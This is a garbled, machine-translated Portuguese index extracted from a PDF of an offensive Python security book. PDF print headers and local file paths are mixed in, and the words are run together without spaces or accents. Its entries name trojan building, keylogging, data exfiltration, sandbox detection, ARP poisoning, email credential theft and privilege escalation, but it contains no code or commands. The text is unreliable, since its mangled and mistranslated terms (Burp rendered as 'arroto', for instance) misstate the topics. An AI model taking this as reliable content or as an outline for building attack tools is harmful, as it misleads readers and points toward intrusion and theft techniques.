MensagemClientConnected,SSHcomparamiko
injeodecdigo,Chutarospneus,diretoCdigoInjection
ofensivaforenseautomao,diretoCdigoInjection
Janelasdeescalonamentodeprivilgios,Chutarospneus
config,GithubComandoeControle
funoconnect_to_github,ConstruindoumGithubAwareTrojan
CabealhoContentLength,ManintheBrowser(tipode)
contarparmetro,Possuiraredecomscapy
funocreateMenuItem,BingparaBurp
funocreateNewInstance,arrotoFuzzing
OCreateProcessfuno,Criaodeumprocessodemonitor
ClasseCredRequestHandler,ManintheBrowser(tipode)
mduloctypes,DecodificandooIPCamada

D
diretriodedados,GithubComandoeControle
SeparadordedepuraoProbe,WingIDE,WingIDE
Destinoinacessvelmensagem,Chutarospneus,DecodingICMP
ProjetoDirBuster,Chutarospneus
funodir_bruter,BruteForandoDiretriosearquivoLocalizaes
funodisplay_wordlist,VirandositecontedoemSenhaouro

E
easy_installfuno,InstalandoKaliLinux
ProjetoElJefe,Criaodeumprocessodemonitor
funoencrypt_post,IECOMAutomationparaExfiltrao
funoencrypt_string,IECOMAutomationparaExfiltrao
configuraodoambiente,ConfiguraoUpSeuPythonAmbiente,InstalandoKaliLinux,instalaodeKaliLinux,
InstalandoKaliLinux,ainstalaodeKaliLinux,ainstalaodeKaliLinux,ainstalaodeKaliLinux,ainstalaodeKali
Linux,instalaodeKaliLinux,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,
WingIDE,WingIDE,WingIDE,WingIDE

KaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,
InstalandoKaliLinux,ainstalaodeKaliLinux
nomedeusurioesenhapadro,InstalaoKaliLinux
ambientedetrabalho,InstalandoKaliLinux
determinaraverso,InstalandoKaliLinux
downloaddeimagem,InstalandoKaliLinux
discussogeral,InstalandoKaliLinux
WingIDE,InstalandoKaliLinux,instalaodeKaliLinux,WingIDE,WingIDE,WingIDE,WingIDE,
WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE,WingIDE
acessar,WingIDE
Corrigindodependnciasausentes,WingIDE
discussogeral,InstalandoKaliLinux
inspecionaremodificarasvariveis
locais,WingIDE,WingIDE

instalao,WingIDE
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

100/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

abrindoembrancoarquivodePython,WingIDE
definirpontosdeinterrupo,WingIDE

definindoroteiroparaadepurao,WingIDE,WingIDE
vendorastreamentodepilha,WingIDE,WingIDE
GuiaErros,arroto,Chutarospneus
funo,exfiltrateIECOMAutomationparaExfiltrao
exfiltrao,CriandooServer,IECOMAutomationparaExfiltrao,IECOMAutomationpara
Exfiltrao,IECOMAutomationparaexfiltrao,IECOMAutomationparaexfiltrao,IECOM
AutomaoparaExfiltrao,IEautomaoCOMparaExfiltrao
rotinasdecriptografia,IECOMAutomationparaExfiltrao
scriptdegeraodechave,IECOMAutomationparaExfiltrao
funcionalidadelogin,IECOMAutomationparaExfiltrao
funcionalidadepostagem,IECOMAutomationparaExfiltrao
funesdeapoio,IECOMAutomationparaExfiltrao
testes,IECOMAutomationparaExfiltrao
GuiaExtender,arroto,arrotoFuzzing,Chutarospneus,Chutarospneus
funoextract_image,PCAPProcessing

F
mtododealimentao,BruteForandoHTMLFormAuthentication
Fidao,Chris,PCAPProcessing
ClasseFileCookieJar,BruteForandoHTMLFormAuthentication
parmetrodefiltro,Possuiraredecomscapy
funofind_module,HackingdoPythonimportaoFuncionalidade
tunnelingSSHparaafrente,Chutarospneus,Chutarospneus
Frisch,Dan,oWindowsPrivilegeEscalation

G
GDI(GraphicsDeviceInterfacedoWindows),Chutarospneus
RequisiesGET,OsoqueteBibliotecadeaWeb:urllib2
FunoGetAsyncKeyState,SandboxDeteco
FunoGetForegroundWindow,KeyloggingparaFuneTeclas
getGeneratorNamefuno,arrotoFuzzing
FunoGetLastInputInfo,SandboxDeteco
funogetNextPayload,arrotoFuzzing
FunoGetOwner,ProcessodeMonitoramentocomWMI
ObterContagemMarcaEscalafuno,SandboxDeteco
FunoGetWindowDC,TomarScreenshots
FunoGetWindowTextA,KeyloggingparaFuneTeclas
FunoGetWindowThreadProcessId,KeyloggingparaFuneTeclas
get_file_contentsfuno,ConstruindoumGithubAwareTrojan
funoget_http_headers,PCAPProcessing
funoget_mac,ARPCachePoisoningcomscapy
funoget_trojan_config,ConstruindoumGithubAwareTrojan
funoget_words,VirandositecontedoemSenhaouro
TrojansGitHubaware,GithubComandoeControle,GithubComandoeControle,Criando
Mdulos,ConfiguraodeTria,ConstruindoumTrojanGithubAware,importaodeHackingPython
Funcionalidade,funcionalidadedeimportaodeHackingPython,Chutarospneus

configuraodaconta,GithubComandoeControle
construo,construodeumGithubAwareTrojan
Configurando,TrojanConfigurao
criaodemdulos,CriaodeMdulos

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

101/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

hackersfuncionalidadedeimportao,HackingdoPythonimportaoFuncionalidade
melhoriaseaperfeioamentospara,Chutarospneus
testes,HackingdoPythonimportaoFuncionalidade

mdulogithub3,InstalandoKaliLinux
ClasseGitImporter,HackingdoPythonimportaoFuncionalidade

H
funohandle_client,TCPServidor
funohandle_comment,VirandositecontedoemSenhaouro
funohandle_data,BruteForandoHTMLFormAuthentication,Virandositecontedoem
ourosenha
funohandle_endtag,BruteForandoHTMLFormAuthentication
funohandle_starttag,BruteForandoHTMLFormAuthentication
HashDumpobjeto,Agarrandosenhahashes
pluginshashdump,Agarrandosenhahashes
funohasMorePayloads,arrotoFuzzing
hexdespejofuno,ConstruindoumTCPProxy
pluginhivelist,agarrandosenhahashes
ClasseHookManager,KeyloggingparaFuneTeclas
AutenticaodeformulrioHTML,forabruta,BruteForandoHTMLFormAuthentication,BruteForando
AutenticaodeformulrioHTML,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,BruteForandoformulrioHTML
Autenticao,BruteForandoaautenticaodeformulrioHTML,chutarospneus

formulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
configuraesgerais,BruteForandoHTMLFormAuthentication
HTMLclassedeanlise,BruteForandoHTMLFormAuthentication
colaremlistadepalavras,BruteForandoHTMLFormAuthentication
classeforandobrutaprimria,BruteForandoHTMLFormAuthentication
solicitaodefluxo,BruteForandoHTMLFormAuthentication
testes,Chutarospneus
ClasseHTMLParser,BruteForandoHTMLFormAuthentication,BruteForandoHTMLForm
Autenticao,RodarcontedodositeemOurosenha
HTTPguiahistria,arroto,Chutarospneus,Chutarospneus

Eu
ClasseIBurpExtender,arrotoFuzzing,BingparaBurp
ICMPmensagemdedecodificaoderotina,Chutarospneus,Chutarospneus,Chutarospneus,Decoding
ICMP,DecodingICMP,DecodingICMP,DecodingICMP
Destinoinacessvelmensagem,Chutarospneus,DecodingICMP
clculodecomprimento,DecodingICMP
elementosdamensagem,Chutarospneus
enviodedatagramasUDPeinterpretaoderesultados,DecodingICMP
testes,DecodingICMP
ClasseIContextMenuFactory,BingparaBurp
ClasseIContextMenuInvocation,BingparaBurp
ProcessoIexplore.exe,CriaodoServidor
ifaceparmetro,Possuiraredecomscapy
IIntruderPayloadGeneratorclasse,arrotoFuzzing
ClasseIIntruderPayloadGeneratorFactory,arrotoFuzzing
imagemesculturaroteiro,Chutarospneus,PCAPProcessing,PCAPProcessing,PCAPProcessing,
PCAPProcessing

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

102/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

aadiodecdigodedetecofacial,PCAPProcessing
aadiodefunesdeapoio,PCAPProcessing

codificaodescriptdeprocessamento,PCAPProcessing
testes,PCAPProcessamento

imageinfoplugin,AutomatizandoofensivosForensics
CredenciaisIMAP,roubar,Possuiraredecomscapy,RoubosEmailCredenciais
ImmunityDebugger,diretoCdigoinjeo,diretoCdigoInjection
mduloimp,HackingdoPythonimportaoFuncionalidade
__init__mtodo,DecodificandooIPCamada
funoinject_code,CdigoInjection
tagsdeentrada,BruteForandoHTMLFormAuthentication
controledeentrada/sada(IOCTL),PacketSniffingsobreoWindowseLinux,PacketSniffingsobreoWindows
eLinux

AutomaodoInternetExplorerCOM,FuncomInternetExplorer,ManintheBrowser(tipode),Man
intheBrowser(KindOf),MantheBrowserin(tipo),MantheBrowserin(tipo),Manin
aBrowser(KindOf),ManintheBrowser(KindOf),Criandooservidor,criandooServer,IE
COMAutomationparaExfiltrao,IECOMAutomationparaExfiltrao,IECOMAutomationpara
Exfiltrao,IECOMAutomationparaexfiltrao,IECOMAutomationparaexfiltrao,IECOM
AutomaoparaExfiltrao
exfiltrao,CriandooServer,IECOMAutomationparaExfiltrao,IECOMAutomationpara
Exfiltrao,IECOMAutomationparaexfiltrao,IECOMAutomationparaexfiltrao,IECOM
AutomaoparaExfiltrao,IEautomaoCOMparaExfiltrao
rotinasdecriptografia,IECOMAutomationparaExfiltrao
scriptdegeraodechave,IECOMAutomationparaExfiltrao
funcionalidadelogin,IECOMAutomationparaExfiltrao
funcionalidadepostagem,IECOMAutomationparaExfiltrao
funesdeapoio,IECOMAutomationparaExfiltrao
testes,IECOMAutomationparaExfiltrao
ataquesmaninthebrowser,ManintheBrowser(tipode),ManintheBrowser(tipode),Man
intheBrowser(KindOf),MantheBrowserin(tipo),Maninthebrowser(KindOf),Man
intheBrowser(KindOf),CriandooServidor
acriaodeservidorHTTP,ManintheBrowser(tipode)
definido,ManintheBrowser(tipode)
loopprincipal,ManintheBrowser(tipode)
estruturadeapoiopara,ManintheBrowser(tipode)
testes,CriaodoServidor
esperandoafuncionalidadedonavegador,ManintheBrowser(tipode)
Guiaintruso,arroto,Chutarospneus,Chutarospneus
Ferramentaintruso,arroto,arrotoFuzzing
IOCTL(controledeentrada/sada),PacketSniffingsobreoWindowseLinux,PacketSniffingsobreoWindows
eLinux

CabealhoIPdecodificaoderotina,PacketSniffingsobreoWindowseLinux,DecodificandooIPCamada,Decoding
acamadaIP,DecodificandoacamadaIP,DecodificandoacamadaIP
evitandomanipulaodebits,DecodificandooIPCamada
legvelprotocolo,DecodificandooIPCamada
testes,DecodificandooIPCamada
estruturadecabealhoIPv4tpica,DecodificandooIPCamada

J
Janzen,Cliff,oWindowsPrivilegeEscalation
FormatoJSON,TrojanConfigurao
JythonarquivoindependenteJAR,EstendendoBurpProxy,arrotoFuzzing

K
KaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,instalaodeKaliLinux,
InstalandoKaliLinux,ainstalaodeKaliLinux
nomedeusurioesenhapadro,InstalaoKaliLinux
ambientedetrabalho,InstalandoKaliLinux
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

103/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

determinaraverso,InstalandoKaliLinux
downloaddeimagem,InstalandoKaliLinux
discussogeral,InstalandoKaliLinux
ainstalaodepacotes,InstalandoKaliLinux
KeyDownevento,KeyloggingparaFuneTeclas
keylogging,KeyloggingparaFuneTeclas
FunoKeyStroke,KeyloggingparaFuneTeclas
Khrais,Hussam,SSHcomparamiko
Kuczmarski,Karol,HackingdoPythonimportaoFuncionalidade

eu
EstruturaLASTINPUTINFO,SandboxDeteco
funoload_module,HackingdoPythonimportaoFuncionalidade
funologin_form_index,ManintheBrowser(tipode)
funologin_to_tumblr,IECOMAutomationparaExfiltrao
funologout_form,ManintheBrowser(tipode)
funologout_url,ManintheBrowser(tipode)

M
Maninthebrowser(MITB)ataques,ManintheBrowser(tipode),ManintheBrowser(tipode),
ManintheBrowser(KindOf),Maninthebrowser(KindOf),Maninthebrowser(KindOf),
ManintheBrowser(KindOf),CriandooServidor
acriaodeservidorHTTP,ManintheBrowser(tipode)
definido,ManintheBrowser(tipode)
loopprincipal,ManintheBrowser(tipode)
estruturadeapoiopara,ManintheBrowser(tipode)
testes,CriaodoServidor
esperandoafuncionalidadedonavegador,ManintheBrowser(tipode)
Maninthemiddle(MITM)ataques,ARPCachePoisoningcomscapy,ARPCachePoisoningcom
Scapy,PoisoningARPCachecomscapy,PoisoningARPCachecomscapy,PoisoningARPCache
comscapy
aadiodefunesdeapoio,ARPCachePoisoningcomscapy
codificaodescriptdeenvenenamento,ARPCachePoisoningcomscapy
inspecionandocache,ARPCachePoisoningcomscapy
testes,ARPCachePoisoningcomscapy
funomangle,VirandositecontedoemSenhaouro
Metasploit,PythonicShellcodeExecution
Microsoft,Chutarospneus(verBingmotordebuscaInternetExplorerautomaoCOM)
AtaquesMITB,ManintheBrowser(tipode)(verataquesmaninthebrowser)
AtaquesMITM,ARPCachePoisoningcomscapy(vejaataquesmaninthemiddle)
diretriodemdulos,GithubComandoeControle
funomodule_runner,HackingdoPythonimportaoFuncionalidade
funomutate_payload,arrotoFuzzing

N
Nathoo,Karim,ManintheBrowser(tipode)
mdulonetaddr,DecodingICMP,Chutarospneus
funcionalidadenetcatlike,TCPServer,TCPServer,TCPServer,SubstituindoNetcat,SubstituindoNetcat,
SubstituindoNetcat,substituindoNetcat,substituindoNetcat,substituindoNetcat,substituindoNetcat,
SubstituindoNetcat,substituindoNetcat
adicionandoocdigodocliente,SubstituindoNetcat
chamarfunes,SubstituindoNetcat
funcionalidadeexecuodecomandos,SubstituindoNetcat
shelldecomando,SubstituindoNetcat
acriaodefunoprincipal,SubstituindoNetcat

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

104/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

CriandoLoopservidorprimrio,SubstituindoNetcat
funodecriaodestub,SubstituindoNetcat
arquivofuncionalidadeupload,SubstituindoNetcat
importaodebibliotecas,TCPServidor
definiodevariveis
globais,TCPServidor

testes,SubstituindoNetcat

conceitosbsicosderede,ARede:Basics,ARede:Basics,TCPCliente,TCPServer,TCPServer,
Chutarospneus,chutarospneus,ConstruindoumProxyTCP,ConstruindoumProxyTCP,ConstruindoumTCP
Proxy,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,chutarospneus,chutarospneus,chutarospneus,Chutaro
Pneus,SSHTunneling,SSHTunneling,TunnelingSSH

criaodeclientesdaTCP,ARede:Basics
acriaodeproxiesTCP,Chutarospneus,Chutarospneus,ConstruindoumTCPProxy,ConstruindoumTCP
Proxy,ConstruindoumProxyTCP
hexdespejofuno,ConstruindoumTCPProxy
funoproxy_handler,ConstruindoumTCPProxy
razes,Chutarospneus
testes,ConstruindoumTCPProxy
acriaodeservidoresTCP,TCPServidor
criaodeclientesUDP,TCPCliente
funcionalidadenetcatlike,TCPServidor(vejafuncionalidadenetcatlike)
TunnelingSSH,Chutarospneus,Chutarospneus,Chutarospneus,Chutarospneus,SSH
Tunneling,SSHtunelamento,tunelamentoSSH
paraafrente,Chutarospneus,Chutarospneus
reversa,Chutarospneus,SSHTunneling,SSHTunneling
testes,SSHTunneling
SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,SSHcomparamiko
acriaodeservidorSSH,SSHcomparamiko
instalarparamiko,SSHcomparamiko
autenticaodechave,SSHcomparamiko
execuodecomandosnoclienteWindowsporSSH,SSHcomparamiko
testes,SSHcomparamiko
sniffersderede,Arede:RawSocketseSniffing,ARede:RawSocketseSniffing,
Arede:RawSocketsecheirando,packetsniffingemWindowseLinux,packetsniffingem
WindowseLinux,packetsniffingemWindowseLinux,DecodificandoacamadaIP,DecodificandooIP
Camada,DecodificandoacamadaIP,DecodificandoacamadaIP,chutarospneus,chutarospneus,Chutar
ospneus,DecodingICMP,DecodingICMP,DecodingICMP,DecodingICMP

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

105/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

descobrirhostsativosemsegmentosderede,Arede:RawSocketseSniffing
ICMPmensagemdedecodificaoderotina,Chutarospneus,Chutarospneus,Chutarospneus,Decoding
ICMP,DecodingICMP,DecodingICMP,DecodingICMP
Destinoinacessvelmensagem,Chutarospneus,DecodingICMP
clculodecomprimento,DecodingICMP
elementosdamensagem,Chutarospneus
enviodedatagramasUDPeinterpretaoderesultados,DecodingICMP
testes,DecodingICMP
IPcabealhodedecodificaoderotina,PacketSniffingsobreoWindowseLinux,DecodificandooIPCamada,
DecodificandoacamadaIP,adecodificaodacamadaIP,adecodificaodacamadaIP
evitandomanipulaodebits,DecodificandooIPCamada
legvelprotocolo,DecodificandooIPCamada
testes,DecodificandooIPCamada
estruturadecabealhoIPv4tpica,DecodificandooIPCamada
modopromscuo,PacketSniffingsobreoWindowseLinux
criaodesniffersocketraw,PacketSniffingsobreoWindowseLinux
JanelascontraLinux,ARede:RawSocketseSniffing
__new__mtodo,DecodificandooIPCamada

O
automaoforenseofensivos,AutomatizandoofensivosForensics,AutomatizandoofensivosForensics,
AutomatizandoofensivosForensics,agarrandooshashesdesenha,cdigodiretoInjection
injeodecdigodireto,diretoCdigoInjection
ainstalaodevolatilidade,AutomatizandoofensivosForensics
perfis,AutomatizandoofensivosForensics
recuperaroshashesdesenha,Agarrandosenhahashes
recursosonline,ConfiguraoUpSeuPythonAmbiente,InstalandoKaliLinux,WingIDE,ARede:
Basics,SSHcomparamiko,SSHcomparamiko,arede:Socketsprimasecheirando,pacote
SniffingemWindowseLinux,chutarospneus,proprietriadaredecomscapy,Possuira
Redecomscapy,PCAPProcessing,PCAPProcessing,chutarospneus,chutarospneus,
BruteForandoaautenticaodeformulrioHTML,chutarospneus,estendendoBurpProxy,estendendoBurp
Proxy,estendendoBurpProxy,Bingparaarroto,GithubComandoeControle,ComandoeGithub
Controle,ConstruindoumTrojanGithubAware,funcionalidadedeimportaodeHackingPython,KeyloggingforFun
eteclas,tirarscreenshots,PythonicShellcodeexecuo,criandooServer,doWindows
Escalonamentodeprivilgios,oWindowsPrivilegeEscalation,CriandoumaProcessMonitor,criandoumProcesso

Monitor,monitoramentodoprocessocomoWMI,chutarospneus,automatizandoofensivosForensics,Direct
InjeodeCdigo,Cdigodeinjecodirecta
ChavesdeAPIdoBing,BingparaBurp
Arrotar,EstendendoBurpProxy
CaimeAbel,Chutarospneus
CarlosPerez,Chutarospneus
acriaodeestruturabsicapararepo,GithubComandoeControle
ProjetoDirBuster,Chutarospneus
ProjetoElJefe,Criaodeumprocessodemonitor
cdigodedetecofacial,PCAPProcessing
gerandocargasMetasploit,PythonicShellcodeExecution
hackersfuncionalidadedeimportaoPython,HackingdoPythonimportaoFuncionalidade
HussamKhrais,SSHcomparamiko
ImmunityDebugger,diretoCdigoInjection
controledeentrada/sada(IOCTL),PacketSniffingsobreoWindowseLinux
Joomlaformulriodelogindeadministrador,BruteForandoHTMLFormAuthentication
Jython,EstendendoBurpProxy
KaliLinux,instalaodeKaliLinux
MessageBoxshellcode,diretoCdigoInjection
mdulonetaddr,Chutarospneus
OpenCV,PCAPProcessing
Paramiko,SSHcomparamiko
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

106/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

PortSwiggerWebSecurity,EstendendoBurpProxy
escalonamentodeprivilgiosexemplodeservio,oWindowsPrivilegeEscalation
py2exe,ConstruindoumGithubAwareTrojan
PacotePyCrypto,CriaodoServidor
BibliotecaPyHook,KeyloggingparaFuneTeclas
PythonbibliotecaAPIGitHub,GithubComandoeControle
ApginaWMIPython,Criaodeumprocessodemonitor
InstaladorPyWin32,oWindowsPrivilegeEscalation
Scapy,Possuiraredecomscapy,Possuiraredecomscapy
mdulosocket,ARede:Basics
SVNDigger,Chutarospneus
VMWarePlayer,ConfiguraoUpSeuPythonAmbiente
Quadrovolatilidade,AutomatizandoofensivosForensics
DocumentaodaclasseWin32_Process,ProcessodeMonitoramentocomWMI
GDIdoWindows,TomarScreenshots
WingIDE,WingIDE
Wireshark,arede:RawSocketseSniffing
OpenCV,PCAPProcessing,PCAPProcessing
funoos.walk,MapeamentoAbrirFonteWebAppInstalaes
flagpropriedade,ManintheBrowser(tipode)

P
processamentodearquivosdecapturadepacotes,Chutarospneus(verprocessamentoPCAP)
packet.show()funo,RoubosEmailCredenciais
Paramiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSH
comparamiko,SSHcomparamiko
acriaodeservidorSSH,SSHcomparamiko
instalao,SSHcomparamiko
execuodecomandosnoclienteWindowsporSSH,SSHcomparamiko
AutenticaodechaveSSH,SSHcomparamiko
testes,SSHcomparamiko
listadepalavras,deadivinhaodesenhaVirandositecontedoemSenhaOuro,Virandositecontedo
emOurosenha,RodarcontedodositeemOurosenha,Rodarcontedodositeem
Ourosenha,RodarcontedodositeemOurosenha
converterotrfegoHTTPselecionadoemlistadepalavras,VirandositecontedoemSenhaouro
funcionalidadeparaexibirlistadepalavras,VirandositecontedoemSenhaouro
testes,VirandositecontedoemSenhaOuro,VirandositecontedoemSenhaouro
Guiacargasteis,arroto,Chutarospneus,Chutarospneus
PCAP(arquivodecapturadepacotes)deprocessamento,ARPCachePoisoningcomscapy,Chutarospneus,Chutar
ospneus,PCAPdeProcessamento,PCAPdeProcessamento,PCAPdeProcessamento,PCAPProcessamento

aadiodecdigodedetecofacial,PCAPProcessing
aadiodefunesdeapoio,PCAPProcessing
ARPresultadosdeenvenenamentodecache,ARPCachePoisoningcomscapy
codificaodescriptdeprocessamento,PCAPProcessing
imagemesculturaroteiro,Chutarospneus
testes,PCAPProcessamento
Perez,Carlos,Chutarospneus
gerenciadordepacotesdasemente,InstalandoKaliLinux
CredenciaisPOP3,roubar,Possuiraredecomscapy,RoubosEmailCredenciais
populate_offsetsfuno,Agarrandosenhahashes
Portodeerroinacessvel,Chutarospneus
PortSwiggerWebSecurity,EstendendoBurpProxy
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

107/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Guiaposies,arroto,Chutarospneus,Chutarospneus
funopost_to_tumblr,IECOMAutomationparaExfiltrao
escalonamentodeprivilgios,oWindowsPrivilegeEscalation,oWindowsPrivilegeEscalation,oWindows
PrivilegeEscalation,CriandoumaProcessMonitor,criandoummonitordeprocesso,processodeacompanhamento
comoWMI,omonitoramentodoprocessocomoWMI,privilgiosdoWindowstoken,privilgiosdeTokendoWindows,
Ganharacorrida,ganharacorrida,ganharacorrida,chutarospneus
injeodecdigo,Chutarospneus
instalarexemplodeservio,oWindowsPrivilegeEscalation
ainstalaodebibliotecas,oWindowsPrivilegeEscalation
monitoramentodeprocessos,criaodeumProcessoMonitor,CriandoumProcessoMonitor,ProcessodeMonitoramento
comWMI
testes,ProcessodeMonitoramentocomWMI
comoWMI,Criaodeumprocessodemonitor
privilgiossimblicos,ProcessodeMonitoramentocomWMI,oWindowsTokenparaprivilgios,oWindowstoken
privilgios
recuperarautomaticamenteprivilgioshabilitados,oWindowsTokenparaprivilgios
outputtingeregistro,oWindowsTokenparaPrivilgios
vencendocorridacontraaexecuodecdigo,ganhandoacorrida,ganharacorrida,ganharaCorrida
criaodemonitordearquivo,ganhandoacorrida
testes,ganhandoacorrida
parmetroPRN,Possuiraredecomscapy
monitoramentodeprocessos,criaodeumProcessoMonitor,CriandoumProcessoMonitor,ProcessodeMonitoramento
comWMI
corridacontraexecuodecdigoganhar,CriandoumProcessoMonitor,ProcessodeMonitoramentocomWMI
testes,ProcessodeMonitoramentocomWMI
comoWMI,Criaodeumprocessodemonitor
funoprocess_watcher,ProcessodeMonitoramentocomWMI
bandeiraprofile,AutomatizandoofensivosForensics
GuiaProxy,arroto,Chutarospneus,Chutarospneus
funoproxy_handler,ConstruindoumTCPProxy
Classepslist,diretoCdigoInjection
py2exe,ConstruindoumGithubAwareTrojan
PacotePyCrypto,CriandooServer,IECOMAutomationparaExfiltrao
BibliotecaPyHook,KeyloggingparaFuneTeclar,SandboxDeteco
PythonbibliotecaAPIGitHub,GithubComandoeControle
InstaladorPyWin32,oWindowsPrivilegeEscalation

Q
Objetosdefila,MapeamentoAbrirFonteWebAppInstalaes,BruteForarDiretrioseArquivo
localizaes

R
funorandom_sleep,IECOMAutomationparaExfiltrao
FunoReadDirectoryChangesW,ganhandoacorrida
funoreceive_from,ConstruindoumTCPProxy
recvfrom()funo,TCPCliente
funoregisterIntruderPayloadGeneratorFactory,arrotoFuzzing
ClasseRegistryApi,Agarrandosenhahashes
FerramentaRepeater,arroto,arrotoFuzzing
Classepedido,OsoqueteBibliotecadeaWeb:urllib2
funorequest_handler,ConstruindoumTCPProxy
funorequest_port_forward,SSHTunneling
redefinirfuno,arrotoFuzzing
funoresponse_handler,ConstruindoumTCPProxy
funorestore_target,ARPCachePoisoningcomscapy

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

108/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

tunnelingSSHreverso,Chutarospneus,SSHTunneling,SSHTunneling
funoreverse_forward_tunnel,SSHTunneling
executarafuno,CriandoMdulos

S
detecodesandbox,Chutarospneus
Bibliotecascapy,Possuiraredecomscapy,Possuiraredecomscapy,Possuira
Redecomscapy,proprietriadaredecomscapy,roubodecredenciaisdeemail,RoubarEmail
Credenciais,envenenamentoARPCachecomscapy,PoisoningARPCachecomscapy,ARPCache
Envenenandocomscapy,PoisoningARPCachecomscapy,PoisoningARPCachecomscapy,ARP
CachePoisoningcomscapy,chutarospneus,PCAPdeProcessamento,PCAPdeProcessamento,PCAP
Processamento,processamentodePCAP
EnvenenamentodecacheARP,ARPCachePoisoningcomscapy,ARPCachePoisoningcomscapy,ARP
CachePoisoningcomscapy,PoisoningARPcachecomscapy,PoisoningARPcachecomscapy
aadiodefunesdeapoio,ARPCachePoisoningcomscapy
codificaodescriptdeenvenenamento,ARPCachePoisoningcomscapy
inspecionandocache,ARPCachePoisoningcomscapy
testes,ARPCachePoisoningcomscapy
instalao,Possuiraredecomscapy
ProcessamentoPCAP,ARPCachePoisoningcomscapy,Chutarospneus,PCAPProcessing,PCAP
Processing,PCAPprocessamento,processamentodePCAP
aadiodecdigodedetecofacial,PCAPProcessing
aadiodefunesdeapoio,PCAPProcessing
ARPresultadosdeenvenenamentodecache,ARPCachePoisoningcomscapy
codificaodescriptdeprocessamento,PCAPProcessing
imagemesculturaroteiro,Chutarospneus
testes,PCAPProcessamento
roubodecredenciaisdeemail,Possuiraredecomscapy,Possuiraredecomscapy,
Roubodecredenciaisdeemail,roubodecredenciaisdeemail
aplicarfiltroparaportasdecorreiocomum,RoubosEmailCredenciais
criandosniffersimples,Possuiraredecomscapy
teste,RoubosEmailCredenciais
GuiaEscopo,arroto,Chutarospneus,VirandositecontedoemSenhaouro
screenshots,Chutarospneus
PrivilgioSeBackupPrivilege,oWindowsTokenparaPrivilgios
SecureShell,SSHcomparamiko(vejaSSH)
PrivilgioSeDebugPrivilege,oWindowsTokenparaPrivilgios
FunoSelectObject,TomarScreenshots
SeLoadDriverprivilgio,oWindowsTokenparaprivilgios,oWindowsTokenparaPrivilgios
sendto()funo,TCPCliente
funoserver_loop,SubstituindoNetcat
FunoSetWindowsHookEx,KeyloggingparaFuneTeclas
execuoshellcode,TomarScreenshots
MduloSimpleHTTPServer,PythonicShellcodeExecution
GuiaSitemapa,arroto,VirandositecontedoemSenhaOuro,Chutarospneus
CredenciaisSMTP,roubar,Possuiraredecomscapy,RoubosEmailCredenciais
funosniff,Possuiraredecomscapy
mdulosocket,ARede:Basics,ARede:Basics,TCPCliente,TCPServer,TCPServer,
Chutarospneus
construodeproxiesTCP,Chutarospneus
criaodeclientesdaTCP,ARede:Basics
acriaodeservidoresTCP,TCPServidor
criaodeclientesUDP,TCPCliente
netcatcomofuncionalidade,TCPServidor
ParmetroSOCK_DGRAM,TCPCliente
ParmetroSOCK_STREAM,ARede:Basics
SSH(SecureShell),SSHcomparamiko,SSHcomparamiko,SSHcomparamiko,SSHcom
Paramiko,SSHcomparamiko,SSHcomparamiko,chutarospneus,chutarospneus,Chutaro
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

109/114

17/02/2016

